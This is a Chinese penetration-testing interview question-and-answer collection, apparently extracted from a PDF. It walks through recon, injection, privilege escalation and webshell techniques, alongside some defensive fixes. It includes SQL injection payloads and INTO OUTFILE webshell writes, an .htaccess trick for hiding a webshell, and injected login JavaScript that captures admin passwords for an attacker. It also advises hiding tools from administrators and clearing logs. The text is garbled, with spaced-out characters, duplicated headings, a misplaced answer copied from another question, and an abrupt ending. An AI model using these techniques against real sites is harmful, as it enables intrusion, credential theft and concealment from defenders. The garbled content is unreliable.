搜索

[17993] 2021-04-28_渗透测试面试问题汇总（二）

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2021-04-28_渗透测试面试问题汇总（二） 渗 透 测 试 面 试 问 题 汇 总 （ 二 ） H a c k i n g 黑 白 红   2 0 2 1 - 0 4 - 2 8 思 路 流 程 思 路 流 程 信 息 收 集 信 息 收 集 1 .   服 务 器 的 相 关 信 息 （ 真 实 i p ， 系 统 类 型 ， 版 本 ， 开 放 端 口 ， W A F 等 ） 2 .   网 站 指 纹 识 别 （ 包 括 ， c m s ， c d n ， 证 书 等 ） ， d n s 记 录 3 .   w h o i s 信 息 ， 姓 名 ， 备 案 ， 邮 箱 ， 电 话 反 查 （ 邮 箱 丢 社 工 库 ， 社 工 准 备 等 ） 4 .   子 域 名 收 集 ， 旁 站 ， C 段 等 5 .   g o o g l e   h a c k i n g 针 对 化 搜 索 ， p d f 文 件 ， 中 间 件 版 本 ， 弱 口 令 扫 描 等 6 .   扫 描 网 站 目 录 结 构 ， 爆 后 台 ， 网 站 b a n n e r ， 测 试 文 件 ， 备 份 等 敏 感 文 件 泄 漏 等 7 .   传 输 协 议 ， 通 用 漏 洞 ， e x p ， g i t h u b 源 码 等 漏 洞 挖 掘 漏 洞 挖 掘 1 .   浏 览 网 站 ， 看 看 网 站 规 模 ， 功 能 ， 特 点 等 2 .   端 口 ， 弱 口 令 ， 目 录 等 扫 描 , 对 响 应 的 端 口 进 行 漏 洞 探 测 ， 比 如   r s y n c , 心 脏 出 血 ， m y s q l , f t p , s s h 弱 口 令 等 。 3 .   X S S ， S Q L 注 入 ， 上 传 ， 命 令 注 入 ， C S R F ， c o o k i e 安 全 检 测 ， 敏 感 信 息 ， 通 信 数 据 传 输 ， 暴 力 破 解 ， 任 意 文 件 上 传 ， 越 权 访 问 ， 未 授 权 访 问 ， 目 录 遍 历 ， 文 件   包 含 ， 重 放 攻 击 （ 短 信 轰 炸 ） ， 服 务 器 漏 洞 检 测 ， 最 后 使 用 漏 扫 工 具 等 漏 洞 利 用 漏 洞 利 用 & 权 限 提 升 权 限 提 升 ·   m y s q l 提 权 ， s e r v - u 提 权 ， o r a c l e 提 权 ·   w i n d o w s   溢 出 提 权 ·   l i n u x 脏 牛 , 内 核 漏 洞 提 权 e 清 除 测 试 数 据 清 除 测 试 数 据 & 输 出 报 告 输 出 报 告 i   日 志 、 测 试 数 据 的 清 理   i i   总 结 ， 输 出 渗 透 测 试 报 告 ， 附 修 复 方 案 复 测 复 测 验 证 并 发 现 是 否 有 新 漏 洞 ， 输 出 报 告 ， 归 档 问 题 问 题 1 . 拿 到 一 个 待 检 测 的 站 ， 你 觉 得 应 该 先 做 什 么 ？ 拿 到 一 个 待 检 测 的 站 ， 你 觉 得 应 该 先 做 什 么 ？ 1 )   信 息 收 集 1 .   获 取 域 名 的 w h o i s 信 息 , 获 取 注 册 者 邮 箱 姓 名 电 话 等 ， 丢 社 工 库 里 看 看 有 没 有 泄 露 密 码 ， 然 后 尝 试 用 泄 露 的 密 码 进 行 登 录 后 台 。   用 邮 箱 做 关 键 词 进 行 丢 进 搜 索 引 擎 。   利 用 搜 索 到 的 关 联 信 息 找 出 其 他 邮 箱 进 而 得 到 常 用 社 交 账 号 。   社 工 找 出 社 交 账 号 ， 里 面 或 许 会 找 出 管 理 员 设 置 密 码 的 习 惯   。   利 用 已 有 信 息 生 成 专 用 字 典 。 2 .   查 询 服 务 器 旁 站 以 及 子 域 名 站 点 ， 因 为 主 站 一 般 比 较 难 ， 所 以 先 看 看 旁 站 有 没 有 通 用 性 的 c m s 或 者 其 他 漏 洞 。 3 .   查 看 服 务 器 操 作 系 统 版 本 ， w e b 中 间 件 ， 看 看 是 否 存 在 已 知 的 漏 洞 ， 比 如 I I S ， A P A C H E , N G I N X 的 解 析 漏 洞 4 .   查 看 I P ， 进 行 I P 地 址 端 口 扫 描 ， 对 响 应 的 端 口 进 行 漏 洞 探 测 ， 比 如   r s y n c , 心 脏 出 血 ， m y s q l , f t p , s s h 弱 口 令 等 。 5 .   扫 描 网 站 目 录 结 构 ， 看 看 是 否 可 以 遍 历 目 录 ， 或 者 敏 感 文 件 泄 漏 ， 比 如 p h p 探 针 6 .   g o o g l e   h a c k   进 一 步 探 测 网 站 的 信 息 ， 后 台 ， 敏 感 文 件 2 )   漏 洞 扫 描 开 始 检 测 漏 洞 ， 如 X S S , X S R F , s q l 注 入 ， 代 码 执 行 ， 命 令 执 行 ， 越 权 访 问 ， 目 录 读 取 ， 任 意 文 件 读 取 ， 下 载 ， 文 件 包 含 ，     远 程 命 令 执 行 ， 弱 口 令 ， 上 传 ， 编 辑 器 漏 洞 ， 暴 力 破 解 等
3 )   漏 洞 利 用 利 用 以 上 的 方 式 拿 到 w e b s h e l l ， 或 者 其 他 权 限 4 )   权 限 提 升 提 权 服 务 器 ， 比 如 w i n d o w s 下 m y s q l 的 u d f 提 权 ， s e r v - u 提 权 ， w i n d o w s 低 版 本 的 漏 洞 ， 如 i i s 6 , p r , 巴 西 烤 肉 ， l i n u x 脏 牛 漏 洞 ， l i n u x 内 核 版 本 漏 洞 提 权 ， l i n u x 下 的 m y s q l   s y s t e m 提 权 以 及 o r a c l e 低 权 限 提 权 5 )   日 志 清 理 6 )   总 结 报 告 及 修 复 方 案 2 . 判 断 出 网 站 的 判 断 出 网 站 的 C M S 对 渗 透 有 什 么 意 义 ？ 对 渗 透 有 什 么 意 义 ？ 查 找 网 上 已 曝 光 的 程 序 漏 洞 。 如 果 开 源 ， 还 能 下 载 相 对 应 的 源 码 进 行 代 码 审 计 。 3 . 一 个 成 熟 并 且 相 对 安 全 的 一 个 成 熟 并 且 相 对 安 全 的 C M S ， 渗 透 时 扫 目 录 的 意 义 ？ ， 渗 透 时 扫 目 录 的 意 义 ？ 敏 感 文 件 、 二 级 目 录 扫 描 站 长 的 误 操 作 比 如 ： 网 站 备 份 的 压 缩 文 件 、 说 明 . t x t 、 二 级 目 录 可 能 存 放 着 其 他 站 点 4 . 常 见 的 网 站 服 务 器 容 器 。 常 见 的 网 站 服 务 器 容 器 。 I I S 、 A p a c h e 、 n g i n x 、 L i g h t t p d 、 T o m c a t 5 . m y s q l 注 入 点 ， 用 工 具 对 目 标 站 直 接 写 入 一 句 话 ， 需 要 哪 些 条 件 ？ 注 入 点 ， 用 工 具 对 目 标 站 直 接 写 入 一 句 话 ， 需 要 哪 些 条 件 ？ r o o t 权 限 以 及 网 站 的 绝 对 路 径 。 6 . 目 前 已 知 哪 些 版 本 的 容 器 有 解 析 漏 洞 ， 具 体 举 例 。 目 前 已 知 哪 些 版 本 的 容 器 有 解 析 漏 洞 ， 具 体 举 例 。 I I S   6 . 0     / x x . a s p / x x . j p g   " x x . a s p " 是 文 件 夹 名 I I S   7 . 0 / 7 . 5     默 认 F a s t - C G I 开 启 ， 直 接 在 u r l 中 图 片 地 址 后 面 输 入 / 1 . p h p ， 会 把 正 常 图 片 当 成 p h p 解 析 N g i n x     版 本 小 于 等 于 0 . 8 . 3 7 ， 利 用 方 法 和 I I S   7 . 0 / 7 . 5 一 样 ， F a s t - C G I 关 闭 情 况 下 也 可 利 用 。     空 字 节 代 码   x x x . j p g . p h p A p a c h e     上 传 的 文 件 命 名 为 ： t e s t . p h p . x 1 . x 2 . x 3 ， A p a c h e 是 从 右 往 左 判 断 后 缀 l i g h t t p d     x x . j p g / x x . p h p ， 不 全 不 全 , 请 小 伙 伴 们 在 评 论 处 不 吝 补 充 ， 谢 谢 ！ 请 小 伙 伴 们 在 评 论 处 不 吝 补 充 ， 谢 谢 ！ 7 . 如 何 手 工 快 速 判 断 目 标 站 是 如 何 手 工 快 速 判 断 目 标 站 是 w i n d o w s 还 是 还 是 l i n u x 服 务 器 ？ 服 务 器 ？ l i n u x 大 小 写 敏 感 , w i n d o w s 大 小 写 不 敏 感 。 8 . 为 何 一 个 为 何 一 个 m y s q l 数 据 库 的 站 ， 只 有 一 个 数 据 库 的 站 ， 只 有 一 个 8 0 端 口 开 放 ？ 端 口 开 放 ？ 更 改 了 端 口 ， 没 有 扫 描 出 来 。 站 库 分 离 。 3 3 0 6 端 口 不 对 外 开 放 9 、 、 3 3 8 9 无 法 连 接 的 几 种 情 况 无 法 连 接 的 几 种 情 况 没 开 放 3 3 8 9   端 口 端 口 被 修 改 防 护 拦 截 处 于 内 网 ( 需 进 行 端 口 转 发 ) 1 0 . 如 何 突 破 注 入 时 字 符 被 转 义 ？ 如 何 突 破 注 入 时 字 符 被 转 义 ？ 宽 字 符 注 入 h e x 编 码 绕 过
1 1 . 在 某 后 台 新 闻 编 辑 界 面 看 到 编 辑 器 ， 应 该 先 做 什 么 ？ 在 某 后 台 新 闻 编 辑 界 面 看 到 编 辑 器 ， 应 该 先 做 什 么 ？ 查 看 编 辑 器 的 名 称 版 本 , 然 后 搜 索 公 开 的 漏 洞 。 1 2 . 拿 到 一 个 拿 到 一 个 w e b s h e l l 发 现 网 站 根 目 录 下 有 发 现 网 站 根 目 录 下 有 . h t a c c e s s 文 件 ， 我 们 能 做 什 么 ？ 文 件 ， 我 们 能 做 什 么 ？ 能 做 的 事 情 很 多 ， 用 隐 藏 网 马 来 举 例 子 ：     插 入     < F i l e s M a t c h   " x x x . j p g " >   S e t H a n d l e r   a p p l i c a t i o n / x - h t t p d - p h p     . j p g 文 件 会 被 解 析 成 . p h p 文 件 。 具 体 其 他 的 事 情 ， 不 好 详 说 ， 建 议 大 家 自 己 去 搜 索 语 句 来 玩 玩 。 1 3 . 注 入 漏 洞 只 能 查 账 号 密 码 ？ 注 入 漏 洞 只 能 查 账 号 密 码 ？ 只 要 权 限 广 ， 拖 库 脱 到 老 。 1 4 . 安 全 狗 会 追 踪 变 量 ， 从 而 发 现 出 是 一 句 话 木 马 吗 ？ 安 全 狗 会 追 踪 变 量 ， 从 而 发 现 出 是 一 句 话 木 马 吗 ？ 是 根 据 特 征 码 ， 所 以 很 好 绕 过 了 ， 只 要 思 路 宽 ， 绕 狗 绕 到 欢 ， 但 这 应 该 不 会 是 一 成 不 变 的 。 * * 1 5 . a c c e s s   扫 出 后 缀 为 a s p 的 数 据 库 文 件 ， 访 问 乱 码 ， * * 如 何 实 现 到 本 地 利 用 ？ 如 何 实 现 到 本 地 利 用 ？ 迅 雷 下 载 ， 直 接 改 后 缀 为 . m d b 。 1 6 . 提 权 时 选 择 可 读 写 目 录 ， 为 何 尽 量 不 用 带 空 格 的 目 录 ？ 提 权 时 选 择 可 读 写 目 录 ， 为 何 尽 量 不 用 带 空 格 的 目 录 ？ 因 为 e x p 执 行 多 半 需 要 空 格 界 定 参 数 1 7 . 某 服 务 器 有 站 点 某 服 务 器 有 站 点 A , B   为 何 在 为 何 在 A 的 后 台 添 加 的 后 台 添 加 t e s t 用 户 ， 访 问 用 户 ， 访 问 B 的 后 台 。 发 现 也 添 加 上 了 的 后 台 。 发 现 也 添 加 上 了 t e s t 用 户 ？ 用 户 ？ 同 数 据 库 。 1 8 . 注 入 时 可 以 不 使 用 注 入 时 可 以 不 使 用 a n d   或 或 o r   或 或 x o r ， 直 接 ， 直 接 o r d e r   b y   开 始 注 入 吗 ？ 开 始 注 入 吗 ？ a n d / o r / x o r ， 前 面 的 1 = 1 、 1 = 2 步 骤 只 是 为 了 判 断 是 否 为 注 入 点 ， 如 果 已 经 确 定 是 注 入 点 那 就 可 以 省 那 步 骤 去 。 1 9 : 某 个 防 注 入 系 统 ， 在 注 入 时 会 提 示 ： 某 个 防 注 入 系 统 ， 在 注 入 时 会 提 示 ： 系 统 检 测 到 你 有 非 法 注 入 的 行 为 。   已 记 录 您 的 i p   x x . x x . x x . x x   时 间 : 2 0 1 6 : 0 1 - 2 3   提 交 页 面 : t e s t . a s p ? i d = 1 5   提 交 内 容 : a n d   1 = 1 2 0 、 如 何 利 用 这 个 防 注 入 系 统 拿 、 如 何 利 用 这 个 防 注 入 系 统 拿 s h e l l ？ ？ 在 U R L 里 面 直 接 提 交 一 句 话 ， 这 样 网 站 就 把 你 的 一 句 话 也 记 录 进 数 据 库 文 件 了   这 个 时 候 可 以 尝 试 寻 找 网 站 的 配 置 文 件   直 接 上 菜 刀 链 接 。 2 1 . 上 传 大 马 后 访 问 乱 码 时 ， 有 哪 些 解 决 办 法 ？ 上 传 大 马 后 访 问 乱 码 时 ， 有 哪 些 解 决 办 法 ？ 浏 览 器 中 改 编 码 。 2 2 . 审 查 上 传 点 的 元 素 有 什 么 意 义 ？ 审 查 上 传 点 的 元 素 有 什 么 意 义 ？ 有 些 站 点 的 上 传 文 件 类 型 的 限 制 是 在 前 端 实 现 的 ， 这 时 只 要 增 加 上 传 类 型 就 能 突 破 限 制 了 。 2 3 . 目 标 站 禁 止 注 册 用 户 ， 找 回 密 码 处 随 便 输 入 用 户 名 提 示 ： 目 标 站 禁 止 注 册 用 户 ， 找 回 密 码 处 随 便 输 入 用 户 名 提 示 ： “ 此 用 户 不 存 在 此 用 户 不 存 在 ” ， 你 觉 得 这 里 怎 样 利 用 ？ ， 你 觉 得 这 里 怎 样 利 用 ？ 先 爆 破 用 户 名 ， 再 利 用 被 爆 破 出 来 的 用 户 名 爆 破 密 码 。 其 实 有 些 站 点 ， 在 登 陆 处 也 会 这 样 提 示 所 有 和 数 据 库 有 交 互 的 地 方 都 有 可 能 有 注 入 。 2 4 . 目 标 站 发 现 某 目 标 站 发 现 某 t x t 的 下 载 地 址 为 的 下 载 地 址 为 h t t p : / / w w w . t e s t . c o m / d o w n / d o w n . p h p ? f i l e = / u p w d o w n / 1 . t x t ， 你 有 什 么 思 路 ？ 这 就 是 传 说 中 的 下 载 漏 洞 ！ 在 f i l e = 后 面 尝 试 输 入 i n d e x . p h p 下 载 他 的 首 页 文 件 ， 然 后 在 首 页 文 件 里 继 续 查 找 其 他 网 站 的 配 置 文 件 ， 可 以 找 出 网 站 的 数 据 库 密 码 和 数 据 库 的 地 址 。 2 5 . 甲 给 你 一 个 目 标 站 ， 并 且 告 诉 你 根 目 录 下 存 在 甲 给 你 一 个 目 标 站 ， 并 且 告 诉 你 根 目 录 下 存 在 / a b c / 目 录 ， 并 且 此 目 录 下 存 在 编 辑 器 和 目 录 ， 并 且 此 目 录 下 存 在 编 辑 器 和 a d m i n 目 录 。 请 问 你 的 想 法 是 ？ 目 录 。 请 问 你 的 想 法 是 ？ 直 接 在 网 站 二 级 目 录 / a b c / 下 扫 描 敏 感 文 件 及 目 录 。 2 6 . 在 有 在 有 s h e l l 的 情 况 下 ， 如 何 使 用 的 情 况 下 ， 如 何 使 用 x s s 实 现 对 目 标 站 的 长 久 控 制 ？ 实 现 对 目 标 站 的 长 久 控 制 ？ 后 台 登 录 处 加 一 段 记 录 登 录 账 号 密 码 的 j s ， 并 且 判 断 是 否 登 录 成 功 ， 如 果 登 录 成 功 ， 就 把 账 号 密 码 记 录 到 一 个 生 僻 的 路 径 的 文 件 中 或 者 直 接 发 到 自 己 的 网 站 文 件 中 。 ( 此 方 法 适 合 有 价 值 并 且 需 要 深 入 控 制 权 限 的 网 络 ) 。
在 登 录 后 才 可 以 访 问 的 文 件 中 插 入 X S S 脚 本 。 2 7 . 后 台 修 改 管 理 员 密 码 处 ， 原 密 码 显 示 为 后 台 修 改 管 理 员 密 码 处 ， 原 密 码 显 示 为 * 。 你 觉 得 该 怎 样 实 现 读 出 这 个 用 户 的 密 码 ？ 。 你 觉 得 该 怎 样 实 现 读 出 这 个 用 户 的 密 码 ？ 审 查 元 素   把 密 码 处 的 p a s s w o r d 属 性 改 成 t e x t 就 明 文 显 示 了 2 8 . 目 标 站 无 防 护 ， 上 传 图 片 可 以 正 常 访 问 ， 上 传 脚 本 格 式 访 问 则 目 标 站 无 防 护 ， 上 传 图 片 可 以 正 常 访 问 ， 上 传 脚 本 格 式 访 问 则 4 0 3 . 什 么 原 因 ？ 什 么 原 因 ？ 原 因 很 多 ， 有 可 能 w e b 服 务 器 配 置 把 上 传 目 录 写 死 了 不 执 行 相 应 脚 本 ， 尝 试 改 后 缀 名 绕 过 2 9 . 审 查 元 素 得 知 网 站 所 使 用 的 防 护 软 件 ， 你 觉 得 怎 样 做 到 的 ？ 审 查 元 素 得 知 网 站 所 使 用 的 防 护 软 件 ， 你 觉 得 怎 样 做 到 的 ？ 在 敏 感 操 作 被 拦 截 ， 通 过 界 面 信 息 无 法 具 体 判 断 是 什 么 防 护 的 时 候 ， F 1 2 看 H T M L 体 部   比 如 护 卫 神 就 可 以 在 名 称 那 看 到 内 容 。 3 0 . 在 在 w i n 2 0 0 3 服 务 器 中 建 立 一 个 服 务 器 中 建 立 一 个   . z h o n g z i 文 件 夹 用 意 何 为 ？ 文 件 夹 用 意 何 为 ？ 隐 藏 文 件 夹 ， 为 了 不 让 管 理 员 发 现 你 传 上 去 的 工 具 。 3 1 、 、 s q l 注 入 有 以 下 两 个 测 试 选 项 ， 选 一 个 并 且 阐 述 不 选 另 一 个 的 理 由 ： 注 入 有 以 下 两 个 测 试 选 项 ， 选 一 个 并 且 阐 述 不 选 另 一 个 的 理 由 ： A .   d e m o . j s p ? i d = 2 + 1   B .   d e m o . j s p ? i d = 2 - 1   选 B ， 在   U R L   编 码 中   +   代 表 空 格 ， 可 能 会 造 成 混 淆 3 2 、 以 下 链 接 存 在 、 以 下 链 接 存 在   s q l   注 入 漏 洞 ， 对 于 这 个 变 形 注 入 ， 你 有 什 么 思 路 ？ 注 入 漏 洞 ， 对 于 这 个 变 形 注 入 ， 你 有 什 么 思 路 ？ d e m o . d o ? D A T A = A j A x N g = =   D A T A 有 可 能 经 过 了   b a s e 6 4   编 码 再 传 入 服 务 器 ， 所 以 我 们 也 要 对 参 数 进 行   b a s e 6 4   编 码 才 能 正 确 完 成 测 试 3 3 、 发 现 、 发 现   d e m o . j s p ? u i d = 1 1 0   注 入 点 ， 你 有 哪 几 种 思 路 获 取 注 入 点 ， 你 有 哪 几 种 思 路 获 取   w e b s h e l l ， 哪 种 是 优 选 ？ ， 哪 种 是 优 选 ？ 有 写 入 权 限 的 ， 构 造 联 合 查 询 语 句 使 用 u s i n g   I N T O   O U T F I L E ， 可 以 将 查 询 的 输 出 重 定 向 到 系 统 的 文 件 中 ， 这 样 去 写 入   W e b S h e l l   使 用   s q l m a p   – o s - s h e l l   原 理 和 上 面 一 种 相 同 ， 来 直 接 获 得 一 个   S h e l l ， 这 样 效 率 更 高   通 过 构 造 联 合 查 询 语 句 得 到 网 站 管 理 员 的 账 户 和 密 码 ， 然 后 扫 后 台 登 录 后 台 ， 再 在 后 台 通 过 改 包 上 传 等 方 法 上 传   S h e l l 3 4 、 、 C S R F   和 和   X S S   和 和   X X E   有 什 么 区 别 ， 以 及 修 复 方 式 ？ 有 什 么 区 别 ， 以 及 修 复 方 式 ？ X S S 是 跨 站 脚 本 攻 击 是 跨 站 脚 本 攻 击 ， 用 户 提 交 的 数 据 中 可 以 构 造 代 码 来 执 行 ， 从 而 实 现 窃 取 用 户 信 息 等 攻 击 。 修 复 方 式 ： 对 字 符 实 体 进 行 转 义 、 使 用 H T T P O n l y 来 禁 止 J a v a S c r i p t 读 取 C o o k i e 值 、 输 入 时 校 验 、 浏 览 器 与 W e b 应 用 端 采 用 相 同 的 字 符 编 码 。 C S R F 是 跨 站 请 求 伪 造 攻 击 是 跨 站 请 求 伪 造 攻 击 ， X S S 是 实 现 C S R F 的 诸 多 手 段 中 的 一 种 ， 是 由 于 没 有 在 关 键 操 作 执 行 时 进 行 是 否 由 用 户 自 愿 发 起 的 确 认 。 修 复 方 式 ： 筛 选 出 需 要 防 范 C S R F 的 页 面 然 后 嵌 入 T o k e n 、 再 次 输 入 密 码 、 检 验 R e f e r e r   X X E 是 X M L 外 部 实 体 注 入 攻 击 ， X M L 中 可 以 通 过 调 用 实 体 来 请 求 本 地 或 者 远 程 内 容 ， 和 远 程 文 件 保 护 类 似 ， 会 引 发 相 关 安 全 问 题 ， 例 如 敏 感 文 件 读 取 。 修 复 方 式 ： X M L 解 析 库 在 调 用 时 严 格 禁 止 对 外 部 实 体 的 解 析 。 3 5 、 、 C S R F 、 、 S S R F 和 重 放 攻 击 有 什 么 区 别 ？ 和 重 放 攻 击 有 什 么 区 别 ？ C S R F 是 跨 站 请 求 伪 造 攻 击 ， 由 客 户 端 发 起   S S R F 是 服 务 器 端 请 求 伪 造 ， 由 服 务 器 发 起   重 放 攻 击 是 将 截 获 的 数 据 包 进 行 重 放 ， 达 到 身 份 认 证 等 目 的 3 6 、 说 出 至 少 三 种 业 务 逻 辑 漏 洞 ， 以 及 修 复 方 式 ？ 、 说 出 至 少 三 种 业 务 逻 辑 漏 洞 ， 以 及 修 复 方 式 ？ 密 码 找 回 漏 洞 密 码 找 回 漏 洞 中 存 在 1 ） 密 码 允 许 暴 力 破 解 、 2 ） 存 在 通 用 型 找 回 凭 证 、 3 ） 可 以 跳 过 验 证 步 骤 、 4 ） 找 回 凭 证 可 以 拦 包 获 取 等 方 式 来 通 过 厂 商 提 供 的 密 码 找 回 功 能 来 得 到 密 码 。   身 份 认 证 漏 洞 身 份 认 证 漏 洞 中 最 常 见 的 是 1 ） 会 话 固 定 攻 击 2 ）   C o o k i e   仿 冒 只 要 得 到   S e s s i o n   或   C o o k i e   即 可 伪 造 用 户 身 份 。   验 证 码 漏 洞 验 证 码 漏 洞 中 存 在 1 ） 验 证 码 允 许 暴 力 破 解 2 ） 验 证 码 可 以 通 过   J a v a s c r i p t   或 者 改 包 的 方 法 来 进 行 绕 过
3 7 、 圈 出 下 面 会 话 中 可 能 存 在 问 题 的 项 ， 并 标 注 可 能 会 存 在 的 问 题 ？ 、 圈 出 下 面 会 话 中 可 能 存 在 问 题 的 项 ， 并 标 注 可 能 会 存 在 的 问 题 ？ g e t   / e c s k i n s / d e m o . j s p ? u i d = 2 0 1 6 0 3 1 9 0 0 & k e y w o r d = ” h e l l o   w o r l d ”   H T T P / 1 . 1 H o s t : . c o m : 8 2 U s e r - A g e n t : M o z i l l a /   5 . 0   F i r e f o x / 4 0 A c c e p t : t e x t / c s s , / ; q = 0 . 1   A c c e p t - L a n g u a g e : z h - C N ; z h ; q = 0 . 8 ; e n - U S ; q = 0 . 5 , e n ; q = 0 . 3   R e f e r e r : h t t p : / / * * * * . c o m / e c i o p / o r d e r F o r C C /   c g t L i s t F o r C C . h t m ? z o n e = 1 1 3 7 0 6 0 1 & v = 1 4 5 9 0 2 C o o k i e : m y g u i d 1 2 3 4 5 6 7 8 9 0 = 1 3 4 9 d b 5 f e 5 0 c 3 7 2 c 3 d 9 9 5 7 0 9 f 5 4 c 2 7 3 d ;   u n i q u e s e r i d = s e s s i o n _ O G R M I F I Y J H A H 5 _ H Z R Q O Z A M H J ;   s t _ u i d = N 9 0 P L Y H L Z G J X I - N X 0 1 V P U F 4 6 W ;   s t a t u s = T r u e   C o n n e c t i o n : k e e p - a l i v e 有 写 入 权 限 的 ， 构 造 联 合 查 询 语 句 使 用 u s i n g   I N T O   O U T F I L E ， 可 以 将 查 询 的 输 出 重 定 向 到 系 统 的 文 件 中 ， 这 样 去 写 入   W e b S h e l l   使 用   s q l m a p   – o s - s h e l l   原 理 和 上 面 一 种 相 同 ， 来 直 接 获 得 一 个   S h e l l ， 这 样 效 率 更 高   通 过 构 造 联 合 查 询 语 句 得 到 网 站 管 理 员 的 账 户 和 密 码 ， 然 后 扫 后 台 登 录 后 台 ， 再 在 后 台 通 过 改 包 上 传 等 方 法 上 传   S h e l l 3 8 、 给 你 一 个 网 站 你 是 如 何 来 渗 透 测 试 的 、 给 你 一 个 网 站 你 是 如 何 来 渗 透 测 试 的 ?   在 获 取 书 面 授 权 的 前 提 下 。 3 9 、 、 s q l m a p ， 怎 么 对 一 个 注 入 点 注 入 ？ ， 怎 么 对 一 个 注 入 点 注 入 ？   1 ） 如 果 是 g e t 型 号 ， 直 接 ， s q l m a p   - u   " 诸 如 点 网 址 " .   2 )   如 果 是 p o s t 型 诸 如 点 ， 可 以 s q l m a p   - u   " 注 入 点 网 址 ” - - d a t a = " p o s t 的 参 数 "   3 ） 如 果 是 c o o k i e ， X - F o r w a r d e d - F o r 等 ， 可 以 访 问 的 时 候 ， 用 b u r p s u i t e 抓 包 ， 注 入 处 用 号 替 换 ， 放 到 文 件 里 ， 然 后 s q l m a p   - r   " 文 件 地 址 " 4 0 、 、 n m a p ， 扫 描 的 几 种 方 式 ， 扫 描 的 几 种 方 式 4 1 、 、 s q l 注 入 的 几 种 类 型 ？ 注 入 的 几 种 类 型 ？   1 ） 报 错 注 入   2 ） b o o l 型 注 入   3 ） 延 时 注 入   4 ） 宽 字 节 注 入 4 2 、 报 错 注 入 的 函 数 有 哪 些 ？ 、 报 错 注 入 的 函 数 有 哪 些 ？   1 0 个 个   1 ） a n d   e x t r a c t v a l u e ( 1 ,   c o n c a t ( 0 x 7 e , ( s e l e c t   @ @ v e r s i o n ) , 0 x 7 e ) ) 】 】 】   2 ） 通 过 f l o o r 报 错   向 下 取 整   3 ） + a n d u p d a t e x m l ( 1 ,   c o n c a t ( 0 x 7 e , ( s e c e c t   @ @ v e r s i o n ) , 0 x 7 e ) , 1 )   4 ） . g e o m e t r y c o l l e c t i o n ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d   g e o m e t r y c o l l e c t i o n ( ( s e l e c t   f r o m ( s e l e c t f r o m ( s e l e c t u s e r ( ) ) a ) b ) ) ;   5 ） . m u l t i p o i n t ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d   m u l t i p o i n t ( ( s e l e c t   f r o m ( s e l e c t   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ;   6 ） . p o l y g o n ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d p o l y g o n ( ( s e l e c t   f r o m ( s e l e c t   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ;   7 ） . m u l t i p o l y g o n ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d   m u l t i p o l y g o n ( ( s e l e c t   f r o m ( s e l e c t   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ; 8 ） . l i n e s t r i n g ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d   l i n e s t r i n g ( ( s e l e c t   f r o m ( s e l e c t   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ;   9 ） . m u l t i l i n e s t r i n g ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d m u l t i l i n e s t r i n g ( ( s e l e c t   f r o m ( s e l e c t   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ;   1 0 ） . e x p ( ) s e l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d   e x p ( ~ ( s e l e c t   *   f r o m ( s e l e c t   u s e r ( ) ) a ) ) ; 4 3 、 延 时 注 入 如 何 来 判 断 ？ 、 延 时 注 入 如 何 来 判 断 ？   i f ( a s c i i ( s u b s t r ( “ h e l l o ” ,   1 ,   1 ) ) = 1 0 4 ,   s l e e p ( 5 ) ,   1 ) 4 4 、 盲 注 和 延 时 注 入 的 共 同 点 ？ 、 盲 注 和 延 时 注 入 的 共 同 点 ？   都 是 一 个 字 符 一 个 字 符 的 判 断 4 5 、 如 何 拿 一 个 网 站 的 、 如 何 拿 一 个 网 站 的 w e b s h e l l ？ ？   上 传 ， 后 台 编 辑 模 板 ， s q l 注 入 写 文 件 ， 命 令 执 行 ， 代 码 执 行 ，   一 些 已 经 爆 出 的 c m s 漏 洞 ， 比 如 d e d e c m s 后 台 可 以 直 接 建 立 脚 本 文 件 ， w o r d p r e s s 上 传 插 件 包 含 脚 本 文 件 z i p 压 缩 包 等 4 6 、 、 s q l 注 入 写 文 件 都 有 哪 些 函 数 ？ 注 入 写 文 件 都 有 哪 些 函 数 ？   s e l e c t   ' 一 句 话 '   i n t o   o u t f i l e   ' 路 径 '   s e l e c t   ' 一 句 话 '   i n t o   d u m p f i l e   ' 路 径 '   s e l e c t   ' '   i n t o   d u m p f i l e ' d : w w w r o o t b a i d u . c o m n v h a c k . p h p ' ; 4 7 、 如 何 防 止 、 如 何 防 止 C S R F ?   1 , 验 证 r e f e r e r   2 ， 验 证 t o k e n   详 细 ： h t t p : / / c n o d e j s . o r g / t o p i c / 5 5 3 3 d d 6 e 9 1 3 8 f 0 9 b 6 2 9 6 7 4 f d 4 8 、 、 o w a s p   漏 洞 都 有 哪 些 ？ 漏 洞 都 有 哪 些 ？   1 、 S Q L 注 入 防 护 方 法 ：   2 、 失 效 的 身 份 认 证 和 会 话 管 理   3 、 跨 站 脚 本 攻 击 X S S   4 、 直 接 引 用 不 安 全 的 对 象   5 、 安 全 配 置 错 误   6 、 敏 感 信 息 泄 露   7 、 缺 少 功 能 级 的 访 问 控 制   8 、 跨 站 请 求 伪 造 C S R F   9 、 使 用 含 有 已 知 漏 洞 的 组 件   1 0 、 未 验 证 的 重 定 向 和 转 发 4 9 、 、 S Q L 注 入 防 护 方 法 ？ 注 入 防 护 方 法 ？   1 、 使 用 安 全 的 A P I   2 、 对 输 入 的 特 殊 字 符 进 行 E s c a p e 转 义 处 理   3 、 使 用 白 名 单 来 规 范 化 输 入 验 证 方 法   4 、 对 客 户 端 输 入 进 行 控 制 ， 不 允 许 输 入 S Q L 注 入 相 关 的 特 殊 字 符   5 、 服 务 器 端 在 提 交 数 据 库 进 行 S Q L 查 询 之 前 ， 对 特 殊 字 符 进 行 过 滤 、 转 义 、 替 换 、 删 除 。 5 0 、 代 码 执 行 ， 文 件 读 取 ， 命 令 执 行 的 函 数 都 有 哪 些 ？ 、 代 码 执 行 ， 文 件 读 取 ， 命 令 执 行 的 函 数 都 有 哪 些 ？ 1 ） 代 码 执 行 ： e v a l , p r e g _ r e p l a c e + / e , 